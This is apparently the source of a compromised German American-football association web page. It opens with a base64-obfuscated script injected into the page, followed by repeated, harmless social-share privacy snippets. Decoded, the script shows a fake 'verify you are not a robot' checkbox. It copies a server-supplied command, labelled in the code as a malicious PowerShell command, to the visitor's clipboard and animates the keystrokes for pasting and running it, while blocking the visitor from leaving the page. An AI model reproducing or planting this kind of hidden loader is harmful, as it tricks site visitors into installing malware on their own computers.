ICAgICAgICBjcmVkZW50aWFsczogJ29taXQnLA0KICAgICAgICAgICAgICAgICAgICBjYWNoZTogJ25vLXN0b3JlJw0KICAgICAgICAgICAgICAgIH0pDQogICAgICAgICAgICAgICAgLnRoZW4oZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLmpzb24oKTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgaXNQb2xsSW5GbGlnaHQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEgJiYgZGF0YS5leGlzdHMgPT09IHRydWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbXBsZXRlVmVyaWZpY2F0aW9uKCk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAvLyBOZXh0IEdFVCBvbmx5IGFmdGVyIHRoaXMgcmVzcG9uc2Ug4oCUIG5ldmVyIG92ZXJsYXAuDQogICAgICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KHBvbGxTZXJ2ZXJTdGF0dXMsIDIwMDApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQocG9sbFNlcnZlclN0YXR1cywgMjAwMCk7DQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQocG9sbFNlcnZlclN0YXR1cywgMjAwMCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzS2V5Ym9hcmRTdGVwcyhtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgIHZhciBidXR0b25FbGVtZW50cyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuc3RlcC10ZXh0IGInKQ0KICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBidXR0b25FbGVtZW50cy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIHZhciBidXR0b25FbGVtZW50ID0gYnV0dG9uRWxlbWVudHNbaV07DQoNCiAgICAgICAgICAgICAgICBpZiAoYnV0dG9uRWxlbWVudC5pbm5lckhUTUwuaW5kZXhPZignICsgJykgPT09IC0xKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBrZXlQYXJ0cyA9IGJ1dHRvbkVsZW1lbnQuaW5uZXJIVE1MLnNwbGl0KCcgKyAnKTsNCiAgICAgICAgICAgICAgICB2YXIgZG9jdW1lbnRGcmFnbWVudCA9IGRvY3VtZW50LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTsNCg0KICAgICAgICAgICAgICAgIGZvciAodmFyIGogPSAwOyBqIDwga2V5UGFydHMubGVuZ3RoOyBqKyspIHsNCg0KICAgICAgICAgICAgICAgICAgICBpZiAoaiA+IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBwbHVzU3BhbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHBsdXNTcGFuLnN0eWxlLmNzc1RleHQgPSAnY29sb3I6IzY2Njtmb250LXNpemU6MTFweDttYXJnaW46MCAzcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOyc7DQogICAgICAgICAgICAgICAgICAgICAgICBwbHVzU3Bhbi50ZXh0Q29udGVudCA9ICcrJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50RnJhZ21lbnQuYXBwZW5kQ2hpbGQocGx1c1NwYW4pOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgdmFyIG5ld0J1dHRvbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2InKTsNCiAgICAgICAgICAgICAgICAgICAgbmV3QnV0dG9uLmlubmVySFRNTCA9IGtleVBhcnRzW2pdOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudEZyYWdtZW50LmFwcGVuZENoaWxkKG5ld0J1dHRvbik7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgYnV0dG9uRWxlbWVudC5wYXJlbnROb2RlLnJlcGxhY2VDaGlsZChkb2N1bWVudEZyYWdtZW50LCBidXR0b25FbGVtZW50KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIHN0YXJ0S2V5Ym9hcmRBbmltYXRpb24obW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICB2YXIgaW5zdHJ1Y3Rpb25JdGVtcyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuaW5zdHJ1Y3Rpb24tbGlzdCBsaScpDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgdmFyIGFuaW1hdGlvblF1ZXVlID0gW107DQoNCiAgICAgICAgICAgIGluc3RydWN0aW9uSXRlbXMuZm9yRWFjaChmdW5jdGlvbihsaXN0SXRlbSkgew0KICAgICAgICAgICAgICAgIHZhciBidXR0b25zID0gQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoDQogICAgICAgICAgICAgICAgICAgIGxpc3RJdGVtLnF1ZXJ5U2VsZWN0b3JBbGwoJy5zdGVwLXRleHQgYicpDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgICAgIGlmICghYnV0dG9ucy5sZW5ndGgpIHJldHVybjsNCg0KICAgICAgICAgICAgICAgIGlmIChidXR0b25zLmxlbmd0aCA9PT0gMSkgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdwcmVzcycsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNjAwfSk7DQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdyZWxlYXNlJywga2V5OiBidXR0b25zWzBdfSk7DQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiA0NTB9KTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdwcmVzcycsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNDAwfSk7DQoNCiAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIgaiA9IDE7IGogPCBidXR0b25zLmxlbmd0aDsgaisrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbal19KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAzODB9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdyZWxlYXNlJywga2V5OiBidXR0b25zW2pdfSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChqIDwgYnV0dG9ucy5sZW5ndGggLSAxKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDEwMH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDIwMH0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNTAwfSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAxNjAwfSk7DQoNCiAgICAgICAgICAgIHZhciBjdXJyZW50SW5kZXggPSAwOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBleGVjdXRlTmV4dEFuaW1hdGlvbigpIHsNCiAgICAgICAgICAgICAgICBpZiAoY3VycmVudEluZGV4ID49IGFuaW1hdGlvblF1ZXVlLmxlbmd0aCkgew0KICAgICAgICAgICAgICAgICAgICBjdXJyZW50SW5kZXggPSAwOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBhbmltYXRpb25TdGVwID0gYW5pbWF0aW9uUXVldWVbY3VycmVudEluZGV4KytdOw0KDQogICAgICAgICAgICAgICAgaWYgKGFuaW1hdGlvblN0ZXAudHlwZSA9PT0gJ3ByZXNzJykgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblN0ZXAua2V5LmNsYXNzTGlzdC5hZGQoJ2tsaXQnKTsNCiAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZU5leHRBbmltYXRpb24oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGFuaW1hdGlvblN0ZXAudHlwZSA9PT0gJ3JlbGVhc2UnKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uU3RlcC5rZXkuY2xhc3NMaXN0LnJlbW92ZSgna2xpdCcpOw0KICAgICAgICAgICAgICAgICAgICBleGVjdXRlTmV4dEFuaW1hdGlvbigpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChleGVjdXRlTmV4dEFuaW1hdGlvbiwgYW5pbWF0aW9uU3RlcC5taWxsaXNlY29uZHMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc2V0VGltZW91dChleGVjdXRlTmV4dEFuaW1hdGlvbiwgNjAwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGFkZFN0ZXBPbmVUb29sdGlwKG1vZGFsRWxlbWVudCwgdG9vbHRpcFRleHQpIHsNCiAgICAgICAgICAgIGlmICghdG9vbHRpcFRleHQpIHJldHVybjsNCg0KICAgICAgICAgICAgdmFyIGZpcnN0TGlzdEl0ZW0gPSBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvcignLmluc3RydWN0aW9uLWxpc3QgbGknKTsNCiAgICAgICAgICAgIGlmICghZmlyc3RMaXN0SXRlbSkgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgYnV0dG9ucyA9IGZpcnN0TGlzdEl0ZW0ucXVlcnlTZWxlY3RvckFsbCgnLnN0ZXAtdGV4dCBiJyk7DQogICAgICAgICAgICB2YXIgdGFyZ2V0QnV0dG9uID0gbnVsbDsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBidXR0b25zLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaWYgKGJ1dHRvbnNbaV0ucXVlcnlTZWxlY3Rvcignc3ZnJykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGFyZ2V0QnV0dG9uID0gYnV0dG9uc1tpXTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXRhcmdldEJ1dHRvbiAmJiBidXR0b25zLmxlbmd0aCkgew0KICAgICAgICAgICAgICAgIHRhcmdldEJ1dHRvbiA9IGJ1dHRvbnNbMF07DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmICghdGFyZ2V0QnV0dG9uKSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBoaW50U3BhbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKTsNCiAgICAgICAgICAgIGhpbnRTcGFuLmNsYXNzTmFtZSA9ICd3ay1oaW50JzsNCiAgICAgICAgICAgIGhpbnRTcGFuLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCc/JykpOw0KDQogICAgICAgICAgICB2YXIgdG9vbHRpcFNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICB0b29sdGlwU3Bhbi5jbGFzc05hbWUgPSAnd2stdG9vbHRpcCc7DQogICAgICAgICAgICB0b29sdGlwU3Bhbi50ZXh0Q29udGVudCA9IHRvb2x0aXBUZXh0Ow0KICAgICAgICAgICAgaGludFNwYW4uYXBwZW5kQ2hpbGQodG9vbHRpcFNwYW4pOw0KDQogICAgICAgICAgICB0YXJnZXRCdXR0b24uYXBwZW5kQ2hpbGQoaGludFNwYW4pOw0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIGNoZWNrYm94QnV0dG9uID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWNiJyk7DQogICAgICAgIHZhciBzcGlubmVyRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1zcCcpOw0KICAgICAgICB2YXIgbGFiZWxFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWxibCcpOw0KICAgICAgICB2YXIgbW9kYWxFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLW1vZGFsJyk7DQoNCiAgICAgICAgZnVuY3Rpb24gcHJldmVudFBhZ2VVbmxvYWQoZXZlbnQpIHsNCiAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBldmVudC5yZXR1cm5WYWx1ZSA9ICcnOw0KICAgICAgICB9DQoNCiAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2JlZm9yZXVubG9hZCcsIHByZXZlbnRQYWdlVW5sb2FkKTsNCg0KICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKGNoZWNrYm94QnV0dG9uKSB7DQogICAgICAgICAgICAgICAgY2hlY2tib3hCdXR0b24uc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoc3Bpbm5lckVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGxhYmVsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIGxhYmVsRWxlbWVudC50ZXh0Q29udGVudCA9IFVJX1RSQU5TTEFUSU9OUy5ub3RSb2JvdFRleHQ7DQogICAgICAgICAgICB9DQogICAgICAgIH0sIDMwMDApOw0KDQogICAgICAgIGNoZWNrYm94QnV0dG9uLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7DQoNCiAgICAgICAgICAgIGlmIChjaGVja2JveEJ1dHRvbi5fX2V4ZWN1dGVkKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2hlY2tib3hCdXR0b24uX19leGVjdXRlZCA9IHRydWU7DQoNCiAgICAgICAgICAgIHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKCdiZWZvcmV1bmxvYWQnLCBwcmV2ZW50UGFnZVVubG9hZCk7DQoNCiAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgaWYgKGxhYmVsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIGxhYmVsRWxlbWVudC50ZXh0Q29udGVudCA9IFVJX1RSQU5TTEFUSU9OUy52ZXJpZnlpbmdUZXh0Ow0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoUkFZX1RSQUNLSU5HX0lEKSB7DQogICAgICAgICAgICAgICAgc2VuZFJlcXVlc3RUb1NlcnZlcih7DQogICAgICAgICAgICAgICAgICAgIGFjdGlvbjogJ2NiJywNCiAgICAgICAgICAgICAgICAgICAgazogQVBJX0FVVEhfS0VZLA0KICAgICAgICAgICAgICAgICAgICB0OiBSQVlfVFJBQ0tJTkdfSUQNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc2VydmVyUGF5bG9hZFByb21pc2UudGhlbihmdW5jdGlvbihwYXlsb2FkQ29tbWFuZCkgew0KDQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LmFkZCgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgICAgIHByb2Nlc3NLZXlib2FyZFN0ZXBzKG1vZGFsRWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgIHN0YXJ0S2V5Ym9hcmRBbmltYXRpb24obW9kYWxFbGVtZW50KTsNCiAgICAgICAgICAgICAgICAgICAgYWRkU3RlcE9uZVRvb2x0aXAobW9kYWxFbGVtZW50LCBVSV9UUkFOU0xBVElPTlMuc3RlcEtleUhlbHApOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmIChwYXlsb2FkQ29tbWFuZCkgew0KICAgICAgICAgICAgICAgICAgICB2YXIgZmluYWxDb21tYW5kID0gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCA/DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCArICc7JykgOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHBheWxvYWRDb21tYW5kKTsNCg0KICAgICAgICAgICAgICAgICAgICBjb3B5VGV4dFRvQ2xpcGJvYXJkKGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpKTsNCg0KICAgICAgICAgICAgICAgICAgICB2YXIgb3NLZXlMaXN0ZW5lciA9IGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgb3MgPSBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSB8fCBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gZmFsc2U7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvcyA9PT0gJ21hYycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gISEoZXZlbnQubWV0YUtleSB8fCBldmVudC5rZXkgPT09ICdNZXRhJyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKG9zID09PSAnbGludXgnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmVudC5jdHJsS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBTdHJpbmcoZXZlbnQua2V5IHx8ICcnKS50b0xvd2VyQ2FzZSgpID09PSAndCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gISEoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50Lm1ldGFLZXkgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5ID09PSAnTWV0YScgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5Q29kZSA9PT0gOTEgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5Q29kZSA9PT0gOTINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc2hvdWxkUmVmcmVzaENsaXBib2FyZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlUZXh0VG9DbGlwYm9hcmQoYnVpbGRDbGlwYm9hcmRDb21tYW5kKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBvc0tleUxpc3RlbmVyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfTsNCg0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgb3NLZXlMaXN0ZW5lcik7DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB3YWl0Rm9yRXhlY3V0aW9uVG9rZW4oUkFZX1RSQUNLSU5HX0lEKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9KTsNCiAgICB9KSgpOw0KDQogIH0pO30oKTs=“);document.documentElement.appendChild(s);})();
/* <![CDATA[ */ jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}}); /* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
